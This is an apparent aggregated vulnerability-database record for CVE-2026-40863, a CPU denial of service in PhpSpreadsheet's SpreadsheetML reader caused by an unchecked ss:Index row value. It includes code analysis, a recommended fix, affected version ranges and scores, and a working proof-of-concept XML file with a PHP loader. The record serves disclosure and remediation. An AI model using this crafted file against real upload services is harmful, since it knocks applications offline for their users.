{"schema":"threatline.record/2","record":{"id":"CVE-2026-40863","aliases":["GHSA-84wq-86v6-x5j6"],"summary":"PhpSpreadsheet has CPU Denial of Service via Unbounded Row Index in SpreadsheetML XML Reader","details":"## Summary\n\nThe SpreadsheetML XML reader (`Reader\\Xml`) does not validate the `ss:Index` row attribute against the maximum allowed row count (`AddressRange::MAX_ROW = 1,048,576`). An attacker can craft a SpreadsheetML XML file with `ss:Index=\"999999999\"` on a `<Row>` element, which inflates the internal `cachedHighestRow` to ~1 billion. Any subsequent call to `getRowIterator()` without an explicit end row will attempt to iterate ~1 billion rows, causing CPU exhaustion and denial of service.\n\n## Details\n\nIn `src/PhpSpreadsheet/Reader/Xml.php`, the `loadSpreadsheetFromFile` method processes `<Row>` elements:\n\n```php\n// Xml.php:397-402\nif (isset($row_ss['Index'])) {\n    $rowID = (int) $row_ss['Index']; // No validation against MAX_ROW\n}\nif (isset($row_ss['Hidden'])) {\n    $rowVisible = ((string) $row_ss['Hidden']) !== '1';\n    $spreadsheet->getActiveSheet()->getRowDimension($rowID)->setVisible($rowVisible);\n}\n```\n\nThe `$rowID` value read from `ss:Index` is cast to int with no upper bound check. It is then passed to `getRowDimension()`:\n\n```php\n// Worksheet.php:1342-1351\npublic function getRowDimension(int $row): RowDimension\n{\n    if (!isset($this->rowDimensions[$row])) {\n        $this->rowDimensions[$row] = new RowDimension($row);\n        $this->cachedHighestRow = max($this->cachedHighestRow, $row);\n    }\n    return $this->rowDimensions[$row];\n}\n```\n\nThis inflates `cachedHighestRow` to the attacker-controlled value. Additionally, at line 412, `$cellRange = $columnID . $rowID` is constructed and passed to `getCell()`, which calls `createNewCell()` (Worksheet.php:1294) and also sets `cachedHighestRow`.\n\nThe `RowIterator` constructor uses `getHighestRow()` as its default end row:\n\n```php\n// RowIterator.php:84-88\npublic function resetEnd(?int $endRow = null): static\n{\n    $this->endRow = $endRow ?: $this->subject->getHighestRow();\n    return $this;\n}\n```\n\nWith `cachedHighestRow` at ~1 billion, iterating over rows causes CPU exhaustion. The `DefaultReadFilter` provides no protection — it returns `true` for all cells.\n\nEven without the `Hidden` attribute, any cell data within the row still uses the inflated `$rowID` at line 412, so the `ss:Hidden` attribute is not required to trigger the vulnerability.\n\n## PoC\n\n1. Create `poc.xml`:\n```xml\n<?xml version=\"1.0\"?>\n<?mso-application progid=\"Excel.Sheet\"?>\n<Workbook xmlns=\"urn:schemas-microsoft-com:office:spreadsheet\"\n xmlns:ss=\"urn:schemas-microsoft-com:office:spreadsheet\">\n <Worksheet ss:Name=\"Sheet1\">\n  <Table>\n   <Row ss:Index=\"999999999\" ss:Hidden=\"1\"/>\n   <Row><Cell><Data ss:Type=\"String\">test</Data></Cell></Row>\n  </Table>\n </Worksheet>\n</Workbook>\n```\n\n2. Load and iterate:\n```php\n<?php\nrequire 'vendor/autoload.php';\nuse PhpOffice\\PhpSpreadsheet\\IOFactory;\n\n$reader = IOFactory::createReader('Xml');\n$spreadsheet = $reader->load('poc.xml');\n$sheet = $spreadsheet->getActiveSheet();\n\necho \"Highest row: \" . $sheet->getHighestRow() . \"\\n\";\n// Outputs: Highest row: 1000000000\n\n// This loop will attempt ~1 billion iterations → CPU exhaustion\nforeach ($sheet->getRowIterator() as $row) {\n    // Never completes\n}\n```\n\n## Impact\n\nAny PHP application that processes user-uploaded SpreadsheetML XML files using PhpSpreadsheet is vulnerable. An attacker can cause denial of service by:\n\n- Exhausting server CPU with a single small XML file (~300 bytes)\n- Blocking the PHP worker process, potentially affecting all concurrent users\n- Triggering PHP max_execution_time limits that still consume resources before killing the process\n\nThe attack requires no authentication — only the ability to upload or cause the application to process a crafted SpreadsheetML file.\n\n## Recommended Fix\n\nAdd MAX_ROW validation after reading the `ss:Index` attribute in `src/PhpSpreadsheet/Reader/Xml.php`:\n\n```php\n// After line 398:\nif (isset($row_ss['Index'])) {\n    $rowID = (int) $row_ss['Index'];\n    if ($rowID > AddressRange::MAX_ROW) {\n        $rowID = AddressRange::MAX_ROW;\n    }\n}\n```\n\nAdd the necessary import at the top of the file:\n```php\nuse PhpOffice\\PhpSpreadsheet\\Cell\\AddressRange;\n```\n\nThe same validation should also be applied to the `ss:Index` attribute on `<Cell>` elements (line 409) for the column dimension.","categories":["Libraries & packages"],"product":"phpoffice/phpspreadsheet","vendor":"PHPOffice","ecosystem":"composer","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-84wq-86v6-x5j6","source_modified_at":"2026-10-26T20:53:09Z","fetched_at":"2026-10-26T23:45:56.352924Z","package":{"ecosystem":"composer","name":"phpoffice/phpspreadsheet"},"range":">= 4.0.0, <= 5.6.0"},{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-84wq-86v6-x5j6","source_modified_at":"2026-10-26T20:53:09Z","fetched_at":"2026-10-26T23:45:56.352924Z","package":{"ecosystem":"composer","name":"phpoffice/phpspreadsheet"},"range":">= 3.3.0, <= 3.10.4"},{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-84wq-86v6-x5j6","source_modified_at":"2026-10-26T20:53:09Z","fetched_at":"2026-10-26T23:45:56.352924Z","package":{"ecosystem":"composer","name":"phpoffice/phpspreadsheet"},"range":">= 2.2.0, <= 2.4.4"},{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-84wq-86v6-x5j6","source_modified_at":"2026-10-26T20:53:09Z","fetched_at":"2026-10-26T23:45:56.352924Z","package":{"ecosystem":"composer","name":"phpoffice/phpspreadsheet"},"range":">= 2.0.0, <= 2.1.15"},{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-84wq-86v6-x5j6","source_modified_at":"2026-10-26T20:53:09Z","fetched_at":"2026-10-26T23:45:56.352924Z","package":{"ecosystem":"composer","name":"phpoffice/phpspreadsheet"},"range":"<= 1.30.5"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-40863","source_modified_at":"2026-05-13T15:03:23.782Z","fetched_at":"2026-10-26T23:45:56.352924Z","product":"PhpSpreadsheet","vendor":"PHPOffice","versions":[{"version":"< 1.30.4","status":"affected"},{"version":">= 2.0.0, < 2.1.16","status":"affected"},{"version":">= 2.2.0, < 2.4.5","status":"affected"},{"version":">= 3.3.0, < 3.10.5","status":"affected"},{"version":">= 4.0.0, < 5.7.0","status":"affected"}],"defaultStatus":null},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-84wq-86v6-x5j6","source_modified_at":"2026-10-26T21:00:03.983124627Z","fetched_at":"2026-10-26T23:45:56.352924Z","package":{"name":"phpoffice/phpspreadsheet","ecosystem":"Packagist","purl":"pkg:composer/phpoffice/phpspreadsheet"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0"},{"fixed":"5.7.0"}]}],"versions":["4.0.0","4.1.0","4.2.0","4.3.0","4.3.1","4.4.0","4.5.0","5.0.0","5.1.0","5.2.0","5.3.0","5.4.0","5.5.0","5.6.0"]},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-84wq-86v6-x5j6","source_modified_at":"2026-10-26T21:00:03.983124627Z","fetched_at":"2026-10-26T23:45:56.352924Z","package":{"name":"phpoffice/phpspreadsheet","ecosystem":"Packagist","purl":"pkg:composer/phpoffice/phpspreadsheet"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.3.0"},{"fixed":"3.10.5"}]}],"versions":["3.10.0","3.10.1","3.10.2","3.10.3","3.10.4","3.3.0","3.4.0","3.5.0","3.6.0","3.7.0","3.8.0","3.9.0","3.9.1","3.9.2","3.9.3"]},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-84wq-86v6-x5j6","source_modified_at":"2026-10-26T21:00:03.983124627Z","fetched_at":"2026-10-26T23:45:56.352924Z","package":{"name":"phpoffice/phpspreadsheet","ecosystem":"Packagist","purl":"pkg:composer/phpoffice/phpspreadsheet"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.2.0"},{"fixed":"2.4.5"}]}],"versions":["2.2.0","2.2.1","2.2.2","2.3.0","2.3.10","2.3.2","2.3.3","2.3.4","2.3.5","2.3.6","2.3.7","2.3.8","2.3.9","2.4.0","2.4.1","2.4.2","2.4.3","2.4.4"]},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-84wq-86v6-x5j6","source_modified_at":"2026-10-26T21:00:03.983124627Z","fetched_at":"2026-10-26T23:45:56.352924Z","package":{"name":"phpoffice/phpspreadsheet","ecosystem":"Packagist","purl":"pkg:composer/phpoffice/phpspreadsheet"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.1.16"}]}],"versions":["2.0.0","2.1.0","2.1.1","2.1.10","2.1.11","2.1.12","2.1.13","2.1.14","2.1.15","2.1.3","2.1.4","2.1.5","2.1.6","2.1.7","2.1.8","2.1.9"]},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-84wq-86v6-x5j6","source_modified_at":"2026-10-26T21:00:03.983124627Z","fetched_at":"2026-10-26T23:45:56.352924Z","package":{"name":"phpoffice/phpspreadsheet","ecosystem":"Packagist","purl":"pkg:composer/phpoffice/phpspreadsheet"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.30.6"}]}],"versions":["1.0.0","1.0.0-beta","1.0.0-beta2","1.1.0","1.10.0","1.10.1","1.11.0","1.12.0","1.13.0","1.14.0","1.14.1","1.15.0","1.16.0","1.17.0","1.17.1","1.18.0","1.19.0","1.2.0","1.2.1","1.20.0","1.21.0","1.22.0","1.23.0","1.24.0","1.24.1","1.25.0","1.25.1","1.25.2","1.26.0","1.27.0","1.27.1","1.28.0","1.29.0","1.29.1","1.29.10","1.29.11","1.29.12","1.29.2","1.29.4","1.29.5","1.29.6","1.29.7","1.29.8","1.29.9","1.3.0","1.3.1","1.30.0","1.30.1","1.30.2","1.30.3"]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-84wq-86v6-x5j6","source_modified_at":"2026-10-26T20:53:09Z","fetched_at":"2026-10-26T23:45:56.352924Z","package":{"ecosystem":"composer","name":"phpoffice/phpspreadsheet"},"version":"5.7.0"},{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-84wq-86v6-x5j6","source_modified_at":"2026-10-26T20:53:09Z","fetched_at":"2026-10-26T23:45:56.352924Z","package":{"ecosystem":"composer","name":"phpoffice/phpspreadsheet"},"version":"3.10.5"},{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-84wq-86v6-x5j6","source_modified_at":"2026-10-26T20:53:09Z","fetched_at":"2026-10-26T23:45:56.352924Z","package":{"ecosystem":"composer","name":"phpoffice/phpspreadsheet"},"version":"2.4.5"},{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-84wq-86v6-x5j6","source_modified_at":"2026-10-26T20:53:09Z","fetched_at":"2026-10-26T23:45:56.352924Z","package":{"ecosystem":"composer","name":"phpoffice/phpspreadsheet"},"version":"2.1.16"},{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-84wq-86v6-x5j6","source_modified_at":"2026-10-26T20:53:09Z","fetched_at":"2026-10-26T23:45:56.352924Z","package":{"ecosystem":"composer","name":"phpoffice/phpspreadsheet"},"version":"1.30.6"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-84wq-86v6-x5j6","source_modified_at":"2026-10-26T21:00:03.983124627Z","fetched_at":"2026-10-26T23:45:56.352924Z","package":{"name":"phpoffice/phpspreadsheet","ecosystem":"Packagist","purl":"pkg:composer/phpoffice/phpspreadsheet"},"version":"5.7.0"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-84wq-86v6-x5j6","source_modified_at":"2026-10-26T21:00:03.983124627Z","fetched_at":"2026-10-26T23:45:56.352924Z","package":{"name":"phpoffice/phpspreadsheet","ecosystem":"Packagist","purl":"pkg:composer/phpoffice/phpspreadsheet"},"version":"3.10.5"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-84wq-86v6-x5j6","source_modified_at":"2026-10-26T21:00:03.983124627Z","fetched_at":"2026-10-26T23:45:56.352924Z","package":{"name":"phpoffice/phpspreadsheet","ecosystem":"Packagist","purl":"pkg:composer/phpoffice/phpspreadsheet"},"version":"2.4.5"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-84wq-86v6-x5j6","source_modified_at":"2026-10-26T21:00:03.983124627Z","fetched_at":"2026-10-26T23:45:56.352924Z","package":{"name":"phpoffice/phpspreadsheet","ecosystem":"Packagist","purl":"pkg:composer/phpoffice/phpspreadsheet"},"version":"2.1.16"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-84wq-86v6-x5j6","source_modified_at":"2026-10-26T21:00:03.983124627Z","fetched_at":"2026-10-26T23:45:56.352924Z","package":{"name":"phpoffice/phpspreadsheet","ecosystem":"Packagist","purl":"pkg:composer/phpoffice/phpspreadsheet"},"version":"1.30.6"}],"cvss":7.5,"severity":"High","kev":{"listed":false},"epss":{"probability":0.00395,"percentile":0.33476,"score_date":"2026-10-26"},"published_at":"2026-05-12T22:04:29.510Z","modified_at":"2026-10-26T21:00:03.983124627Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-84wq-86v6-x5j6","fetched_at":"2026-10-26T23:45:56.352924Z","source_modified_at":"2026-10-26T20:53:09Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-40863","fetched_at":"2026-10-26T23:45:56.352924Z","source_modified_at":"2026-05-13T15:03:23.782Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-84wq-86v6-x5j6","fetched_at":"2026-10-26T23:45:56.352924Z","source_modified_at":"2026-10-26T21:00:03.983124627Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-40863","fetched_at":"2026-10-26T23:45:56.352924Z","source_modified_at":"2026-10-26"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-84wq-86v6-x5j6","tags":["exploit"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40863","source":"GitHub Advisory Database"},{"url":"https://github.com/advisories/GHSA-84wq-86v6-x5j6","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"poc","automatable":"yes","technical_impact":"partial","assessed_at":"2026-05-13T15:01:42.488212Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-26T21:00:03.983124627Z","content_hash":"1fb6519e45cc58f246ad5686c4e6856bf059206d305e18a016b2fd55ffc6d152"}}
